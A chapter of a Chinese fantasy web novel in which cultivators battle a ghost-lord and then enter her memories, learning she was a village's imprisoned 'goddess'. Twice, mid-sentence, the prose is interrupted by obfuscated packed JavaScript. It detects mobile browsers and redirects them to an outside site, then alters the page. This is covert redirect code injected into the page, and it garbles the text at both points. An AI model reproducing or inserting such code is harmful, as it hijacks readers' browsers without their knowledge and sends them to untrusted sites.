宋余舟抬手掷出一道符咒,那道灵光在夜色中蓦地飞向她。但她似是抬了抬毫无血色的嘴角,目光幽然,静在原地。 下一瞬,符咒自她的身体穿过,崔羽落眼见那道法咒直冲向自己,手中蕴满灵流的刀猛然向前,符咒在刀下碎裂万千,转瞬消逝。 她刀锋垂下,却发现那女鬼已经消失在了原地,而周围不知何时亮了些许。她抬眼瞥了一眼阴沉的云层,心想:是月光么? 收回目光,她却觉心脏猛然一沉。 先前距她并不远的其余三人不见了,而方才温顺平静的鬼影再次变得凶悍张狂。原本如薄雾一般悬于空中的影子悄然浓缩为一片黑压压的浓稠阴云,数百只厉鬼陡然成形,在柔和冷清的月光下张牙舞爪。 几只厉鬼倏地扑向崔羽落,她提刀猛力斜劈,鬼影在她的强悍力道之下发出若有若无的啸叫,身形在刀下溃散,又化为轻飘飘的淡薄黑雾。 她刀尖微颤,心道:这鬼影砍上去,倒像是一刀砍进了泥水里。 崔羽落看着眼前漂浮在空中的鬼影,身躯一侧乍然一凉,她本能地回头看向那边,只见几道更加强悍的鬼影突袭向自己身侧。她双手握着刀柄,借着旋身的力道挑向斜上方,但那鬼影似是比先前的聪明了许多,竟忽然一分为二,两道黑影分别从她前后方流走,像溪水灵巧地从礁石两侧绕行。 她骤然反手出刀,将身后偷袭的鬼影贯穿。看着眼前缭乱的鬼影,她目光凝重。 ——这些鬼影只能暂时被刀锋击溃,但只要时间充裕,便能一次又一次地再次由尘埃聚起,化为无形却有质的厉鬼。怨念不散,魔气不消,它们便能长存不灭。 她一边劈砍着眼前横行的厉鬼,一边思忖。 鬼主则是群鬼之中力量最强、怨气最重的一只鬼,溪桥村内的众鬼均臣服于她。若是能“擒贼先擒王”地控制住那鬼主,便可控制住村内的众鬼。 但她现在已经消失了。 崔羽落余光扫见一只比其余怨鬼颜色更重、几乎有了人形的鬼身形如风地袭向自己,而眼前又有几只聚在一起的低阶怨鬼。她左手向前方猛力一掌,同时刀尖扭转,自夜色中倏然划过。 就在刀尖落在那鬼影之上时,她忽然觉得有些不对劲。 她的刀锋在电光石火间凝滞了一瞬,那鬼影在她犹豫的间隙抬手,手中浮光一闪而过。崔羽落侧身一闪,随后伸出左手抓向那鬼影还未落下的手腕。 鬼影竟在她的抓握之中明显地愣了片刻,崔羽落则趁他愣神,左手指尖蕴起灵力,随后灵光倏然扩散,她低声念道:“见真。” 下一瞬,她眼前景象骤变。 周遭的朦胧月光已然消失不见,取而代之的是漆黑的夜色与模糊的鬼影。但奇怪的是,虽然天色较方才暗了不少,她却觉得眼前景象清晰了许多。 对面原本面容模糊的黑影不见了,沈临澄手持匕首站在她眼前,神情有些恍惚。 崔羽落环视周围,发现自己所在的位置和先前找到几人的位置已经不同了。而除她二人以外的几人并没有出现在视野之内,唯有鬼影凄凄,草木飒飒,断壁残垣在飘着雾气的夜色中愈显凄异。 两人击溃了余下的鬼影,在夜风中并肩而立,看着周围宛若轻烟的黑影,不约而同地长舒一口气。 崔羽落将破伤风换到左手,活动了一下右手手腕,道:“那我们去找找他俩吧。” 沈临澄应了一声,问道:“你怎么出来了?” “我感应到结契符上你们那边气息不太纯净,像是……里面有其它的力量,便想着是不是你们又遇上了那些鬼,就出来看看。” “好吧,”沈临澄探了探结契符上的灵息,“他们在那边,我们走。” 两人走了一会儿,在一扇门前停了脚步。崔羽落从门框看进去,果然见到宋余舟和赵之闻站在院墙内,周围漂浮着被重创的鬼影。见两人踏入院内,赵之闻挥了挥手,笑道:“方才感知到你俩在靠近,不然就是我们出发去找你们了。” 崔羽落看了看周围,只见院里有个废弃多年的小园,零落的砖块将它围起,中间扎着几棵枯树。除此之外,院里还有几座坍塌了大半的平房,破碎的砖瓦乱七八糟地飘零在院子中间,一不小心就会踩到。 她收回目光,问道:“你们方才看到了什么?” 宋余舟垂眼整着衣服,答道:“群魔乱舞,但是好在我很快就看出了那是障眼法,而后便和赵前辈一起击溃了那些怨鬼。” 沈临澄将匕首收入袖中,双手抱胸,神色凝重道:“但方才那女鬼出现了一会儿,这会儿却忽然消失了。莫非刚才装神弄鬼,就为了吓我们一下么?” 宋余舟笑了一声道:“说不定是为了看我们一眼。毕竟我们没有被困死在那幻境里,想必作为幻境之主,也想看看究竟是什么样的人,不仅没有被困死在里面,还破幻而出,想要膜拜膜拜呢,哈哈哈。” 崔羽落听到“膜拜膜拜”,不禁笑了笑。但她余光扫见赵之闻神色一怔,而后望着远处,不知道在想什么。 她见几人忽然陷入沉默,开口道:“这里的怨鬼都听从那个女鬼的指挥,所以我猜,若是想要彻底解决这里的闹鬼情况,有两种办法,其一便是消弭村庄里的魔气,毕竟这些怨鬼因魔气而生,若是失去了赖以生养的魔气,自然会被大幅削弱。” 宋余舟道:“但这里的魔气……似乎和寻常的魔气不太一样,不仅仅是因为它更浓,我总觉得这魔气中,还有一些古怪的地方,让它显得更难以捉摸。” 沈临澄问道:“什么地方?” 宋余舟顿了顿,沉吟道:“魔气本是妖魔鬼怪修炼时产生的气,虽然阴邪,却较为纯净。尤其是一些高阶的鬼,其产生的魔气更加纯粹,是以强大纯净的灵气会吸引更多的妖魔鬼怪,因为在几乎没有其它气息的强大魔气之中,会让他们感到十分舒适。但这里虽然有上百只怨鬼,村子里的魔气却有些浑浊。按理来说,能孕育出先前那个女鬼,这里的魔气应该还不错啊。” 几人陷入沉默,宋余舟问道:“你说的第二种方法是什么?” “鬼主。”崔羽落看着几步外委地的葡萄架,“杀了她,村子里的魔气便会减弱,那些低阶的鬼也会大幅削弱。而且先前我在幻境内看到过她,因此不出意外的话,她便是制造幻境的人,她若消散,之后再有人来到溪桥村,便不会被困入幻境,从而死在里面了。” 赵之闻若有所思道:“既然是鬼,那便说明,她之前已经死过一回了。既然如此,她还能再一次被杀死吗?” 宋余舟道:“先前的死是肉/体死去,对于寻常人来说,肉身死了,魂魄便会进入轮回。对于怨鬼,她死的时候有怨念,因此不愿离去,魂魄便会留在世间,怨念越强魂魄就留存得越久,而若是周围刚好有较强的魔气,心怀怨念的鬼魂便可借此修炼,变得更强。” 赵之闻顿了顿,道:“怨念?” 宋余舟道:“是。若无怨念,那便快快活活地去投胎了,有了怨念,可能是想要报仇,也可能是……嗯,意有难平?所以想着想着,就留下了。而他们不愿意投胎,若要彻底杀死,便是得要魂魄死去,换句话说,就是魂飞魄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769121|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散了。” 崔羽落沉吟道:“魂飞魄散?那我们现在得去找她么?” “是。不过她自己可能不会出来。” 崔羽落笑笑,低声道:“非也。” 沈临澄疑惑道:“怎么?” “她一直跟着我们呢。” 随着她话音落下,在她悄然展开的灵息中,一股和先前在幻境中如出一辙的气息缓缓开始凝聚。随后阴风乍起,空中原本淡薄的黑气变得浓稠。崔羽落仔细感受着那股气息,身形移动,抽刀在虚空中劈斩而下。几道刀光倏然闪过,黑气缓缓凝结成女子的身形。只是和先前几人看到的相比,眼前的女鬼似乎不甚明晰,连身躯都隐约透着暗淡的光。 崔羽落提刀而立,她方才斩断了几道女鬼借以凝聚身形的灵脉,因此女鬼虽在几人面前化出形貌,却力量不如先前。 下一瞬,女鬼却消失在了原地。 她骤然袭向离她最近的赵之闻,赵之闻却似乎毫不慌张,只是任由她那双苍白修长的手落向自己的颈部。而她的手在即将触及赵之闻的时候忽而顿在空中,因为一道符咒贴在她的胸口,她仿佛被定在原地,再也不能向前一步。 崔羽落的声音却在另一边响起。 “小心!” 被定住的那个鬼影倏然变得浅淡。而在枯树下,另一个身影渐渐清晰。 女鬼骤然动身,向几人袭来。崔羽落挺刀迎面而上,裹挟着强悍灵力的刀锋与女鬼身周的魔气相撞,女鬼在冲击之下微微一晃。 而在这一晃之间,沈临澄的匕首自她身后刺入她的胸口,那是她力量聚集之处。 她的身形模糊了些许,似是要再次遁走。 但下一瞬,一张符纸蓦地绽出炫目的灵光,她被困在原地,动弹不得。 “梦魂归去,莫问西东。” 宋余舟话音落下,女鬼神情恍惚了片刻,随即失去了意识。 崔羽落看着她道:“她这是……进入自己的幻境了?” 宋余舟点了点头:“是的。先前我们进入的幻境,里面是我们所害怕的东西,而她既已化鬼,必然有自己的怨念,现下她便是又回到自己的怨念之中——” “哎!” 他眼睁睁看着崔羽落忽然消失在了原地,而惊愕抬眼时,却发现消失的不只有崔羽落一人。 “为什么他俩消失了?难道是因为离得近,也和这女鬼一同进入幻境了吗?”沈临澄道。 * 崔羽落睁开眼,发现自己正站在一群人之间。她顺着人流的方向望过去,不远处赫然是一座庙宇,牌匾上写着“普渡”二字。她踮起脚尖向庙门里看去,只见庙里悬挂着一幅画。 俨然是她先前见到的神女像。 她一怔,不知不觉间已被人群挤到了庙前。她看着那副画,感到有种奇怪的熟悉感,但绞尽脑汁也想不出这种熟悉从何而来。 崔羽落看着依次上香祈福的村民,想要问问身边人究竟是什么情况,于是伸手拍了拍身边人的肩膀。 那人浑然不觉。 ——看来她在这里只是一个没有形质的游魂。 这样想着,她鬼使神差地向前走去。她越过人群,穿过对游魂来说不算阻碍的庙墙,到了后院。 这时,她看到不远处有一个少女。 少女坐在秋千上,背对着她。分明看不到她的正脸,崔羽落却无端觉得她应该很孤寂。 她轻飘飘地走了过去,那少女竟然很巧地转过了脸,目光穿过崔羽落的身体,遥遥定在远处。 崔羽落看着她的脸,脑海一片空白。 ——这张脸,正是先前那诡异至极的女鬼! 36. 天光 少女自然看不到崔羽落,她面无表情地转过脸,继续晃着秋千,素白的裙角随秋千轻轻飘了飘。少女纤细修长的脖颈自衣领延伸向上,带了些病态的苍白。 崔羽落向前看去,只见自己正站在一间庭院内,十步外是一间风格朴素的房屋。她上前几步,看到里面摆着床和柜子,除此之外还有一个用于梳妆的桌案,色泽暗淡的铜镜悬于其上,里面映照出屋内紧闭的窗户。 她回头看向那少女,见她仍面无表情地坐在那里,一只麻雀落在她眼前的地面上,她连眼皮都没有动一下。 崔羽落听着神庙内众人的声音,心想:她是住在这里的吗? 她又站了许久,直到神庙内的人声渐渐停了,周围安静了下去,只有木头架子随着秋千摆动轻轻发出“嘎吱”的响声。 一个男子走了进来,崔羽落看到他的面容,不禁“咦”了一声。他似乎是刻意用法术掩盖了自己的面目,让人看不清他的真容。 少女听到男子的脚步声,没有回头。而男子一直走到她的身后,才淡淡开口道:“今天的祈愿结束了。” 少女没有回答,脚尖在地上蹭了蹭,秋千摇晃的幅度小了一些。 “昨天教给你的修炼要领,你领悟了吗?” “嗯。” 男子见她神色冷淡,只是和善地笑了笑,而后问道:“午饭吃了么?” “没有。” 男子皱眉道:“怎么这么晚还没有吃?你现在身体虚弱,若不好好饮食,怎能好起来呢?” 少女轻声道:“身体虚弱又如何?反正我这样活着,哪儿也去不了,不如早些死了。再去投个胎,哪怕是鸟儿虫儿的,也比在这里做个活死人强。” “阿意,”男子叹了口气,“别说这种话。” “不是么?” “你是神女,受众民供奉,佑一方安宁,功德无量,怎么就是活死人了?” 崔羽落一怔。 她方才看到神女像,便觉有种熟悉之感,但并未直接将画像中的人物和少女对上号。她此时听到男子的话,才恍然想道,少女和画中人的五官轮廓的确是十分相像的,但画像中的女子身着华服,面带微笑,眉眼舒展而明丽,俨然一副心怀慈悲的神貌。 而眼前少女始终神情冷淡,面容苍白,甚至带了些倦然的憔悴,乍看上去竟与画像上的女子判若两人。 崔羽落忆起卷轴上所记录的内容。 “幸得仙君慈悲,立神女庙,虔心祈愿,香火不绝……上苍垂怜,恶咒消散,村人终得自由。” 原来卷轴上所写的“神女”,并非神神秘秘的神仙,而是一个看上去与常人无异的少女。 少女微微扯了扯嘴角,继续轻飘飘地说:“我每一天都只能待在这里,不管什么时候,抬眼看到的,只是这围墙内的一方天地,这可不就是活死人么?” 男子顿了顿,温声道:“你虽然不能出去,但村庄里的人们受到你的护佑,摆脱了缠绕几十年的诅咒,可以自由来去。” 他继续道:“如今我带着你修炼,过上许多年,上苍感念你的慈悲之心,你便可入道破镜,功德圆满,而后修得大道,天人合一,从此不死不灭,天地之大任你来去。这几年虽是只能处于一隅,但现在的潜心修炼,不仅是为了日后的得道积累,也是在放弃浮华,修炼心性,你若是只因为不能和别人一样跑出去玩闹,便觉得这样活着毫无意义,那岂不是太过狭隘了么?” 少女疲倦地笑笑:“狭隘?可我本就是这样的狭隘之人啊,得道飞升什么的,并非我想要的。我宁可和其他人一样,庸碌地过一辈子,而不是这样,一举一动皆不能从心,永远被关在牢笼里面。” “牢笼?”男子的声音冷了几分,“但是阿意,你要记得,最开始你险些就要被那些村民当成妖邪烧死了。他们畏惧你的力量,把你当成异种,想要将你烧死,但我告诉他们,这不是妖邪之力,而是神力,可以解开诅咒,护佑百家,这才保住了你,让你成为了护佑一方、香火不绝的神女。从前,他们想要你葬身火海,想要你身死魂消,但现在,他们只会满目虔诚地跪拜。” 少女轻轻叹了口气:“我宁可死在火里,下辈子仍然是自由身。” 男子看着她,目光柔和:“我说这些是想告诉你,你身负神力,注定不凡,而你既注定成为高悬九天的明日,那便要忍受孤寂,而不是看着底下的熙攘蝼蚁而心生艳羡。” “每个人都有每个人的使命,有的人生来便注定要浑浑噩噩地劳苦一生,有的人生来便注定要一路跌宕起伏但最终得偿所愿,而你肩负神力,这一路便注定只能由你一个人去行走,那些同伴只是过客,夏虫不可语冰,莫要执着。” 少女呆呆地看着地面,过了许久,低声道:“神力?既然肩负神力,却为何不能决定自己的命运?既然注定孤寂,却为何要让我经历过欢闹的滋味?” “仙君,你这样说,愈发让我觉得,我不是一个真正的人,而只是一个所谓神力的容器,我的存在只是为了让那令人畏惧的力量被安置在一个弱小而毫不危险的身体里,唯有如此才能让人不再害怕。他们跪拜的,是那所谓神力,也根本不是我。” 崔羽落看着他俩的交流,不禁蹙眉思索。 “神力……” ——这到底是什么东西? “她便是神庙里供奉的神女了。”赵之闻的声音突然在她身后响起,她扭头看去,见赵之闻神色平静地望着二人,“牺牲一人的自由,来换取整个村庄的安宁,这便是破解诅咒的方法。” 崔羽落道:“她看上去不过一介凡人,若要说和那些村民有什么不同之处,那便是她身上有神力,但我看了许久,她似乎身体不佳,也不像是负有强大力量的样子啊?” 赵之闻笑笑道:“这也确实奇怪。但那人说,先前村民畏惧她的力量,然后差点要将她烧死,我猜,会不会是她原先只是一个寻常少女,直到某一天,她体内的力量突然显现了出来,然后那些村民才十分害怕呢?” 崔羽落思忖道:“的确,她先前也说,她曾经经历过热闹,那便是说,她之前也是和那些村子里的同龄人一样,而不是被关在这里。直到她显露出神力,然后那个男子告诉村民们可以通过跪拜她,来祈求上苍垂怜,以解除笼罩村庄多年的诅咒。” 赵之闻道:“村庄的诅咒也确是解除了,村民不再被困在村庄内,而是可以自由出入。只是,这位……神女,只能待在庙里受人供奉,而不能踏出一步。” 崔羽落疑惑道:“那神力究竟是什么东西?世界上……真的有神么?” 赵之闻摇了摇头:“谁知道,要是真的有神,那么多人去求神拜佛,也不见得他们的心愿都实现了。” 崔羽落看着秋千上的少女,却发现景象在悄悄变幻。 她仍在这个小院内,只是周围的草木枯荣明灭,显然过了很久。 几个少女少男进了房间,他们叽叽喳喳的声音自那扇打开的门传入崔羽落的耳中—— “阿意,我昨天去了镇子上,买了最大的那家点心店里的点心,不过我回到家已经很迟了,就想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792018|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天白天再来找你。刚好我们几个人一起吃吧!” 这是一个少女的声音,崔羽落迈步上前,见说话的是一个神情温柔的少女,她身上的衣服看上去有些破旧,但洗得十分干净。 而后是她较为熟悉的声音。 “谢谢雪枝,我猜你是和……年哥哥一起去的?” 雪枝羞涩地笑了笑,而身边一个少年偷偷拉了拉她的手。 这时崔羽落才发现一件事,那就是除了先前那少女,其他四个人的面容是模糊的! “为什么看不清他们几个人的脸呢?” 赵之闻想了想,答道:“我们进入的是她的记忆,会不会是因为她记不清了?或者是她……自己选择了忘记。” 先前的少女又语气柔和地说:“小远,你又长高了啊。” 一个看上去年纪最小的女孩笑了笑,说道:“姐姐,你记不记得我今年几岁啊?你不会忘记了吧?” 少女摸了摸她的头:“怎么会,今天是你的十二岁生辰,你这是明知故问啊!” …… 崔羽落看着眼前几人温馨友爱的画面,听见赵之闻喃喃地说了句:“真好啊。” “嗯?” 赵之闻笑了笑,眼神依旧在不远处的几人身上:“少年时期,和朋友待在一起,当真是人生一大幸事。只是……” 崔羽落见他没了下文,便扭头看向他,却见他垂下眼,摇了摇头:“没什么只是。唉,年轻,真好啊。” 崔羽落无声地一笑,而后低声道:“是啊,真好。” 几人的言语声逐渐远去,周遭微微晃了晃,又停顿了下来,崔羽落便知道这一次时间没有过很久。 但周围不再是宁静安恬的万籁有声,而是村民的惊呼和尖叫,其间夹杂着混乱急促的脚步声。 她抬眼看向天空,见方才的云影天光已经被凶险狠戾的黑气笼罩,黑气在极短的时间内迅速浓重了起来,渐渐地,那些村民的声音平息了。 崔羽落熟悉这气息。 ——是魔气。 她出门查探情况,却发现村内已无活口。昔日言笑晏晏的村民只剩被魔气熏得焦黑的尸体,他们的脸上仍挂着扭曲惊恐的神色。 许多人的头向着村外,显然是在逃亡过程中死去的。 崔羽落的呼吸陡然急促了起来,她心想着“坏了”,回头向神庙跑去。 赵之闻站在原地,看着周遭横陈的尸体,满脸难以置信,袖口下的手指微微颤动。 崔羽落一路上没有看到先前那几个少年人的尸体,便猜测他们是不是侥幸逃了出去,因此没有在此丧命。 ——但那少女后来成了百鬼之主,显然是没能逃出去的。 神庙内魔气竟比村庄其他地方更为浓烈。崔羽落一路跑进了少女居住的房间,却发现先前的少女已然不知所踪,唯有幽黑阴邪的魔气充斥整个房间,几乎叫人喘不上气。 即便她只是个游魂。 她在房间内四处寻找,企图找到少女缩在某个角落的小小身影,但她一无所获。 她怔然站在原地,望着门外面目全非的村庄,却忽然觉得身后有了些许不同。 房间内似乎凭空生出了一个深邃的漩涡,魔气骤然向那一处流动。而与此同时,自那漩涡中,一种她所熟悉的、浑浊而强悍的魔气潺潺向外涌出。 深沉、厚重、饱含怨气。 她转过身,见到一个苍白的身影正缓缓浮现。 长发曳地,素衣如雪。 神女身殒,厉鬼成形。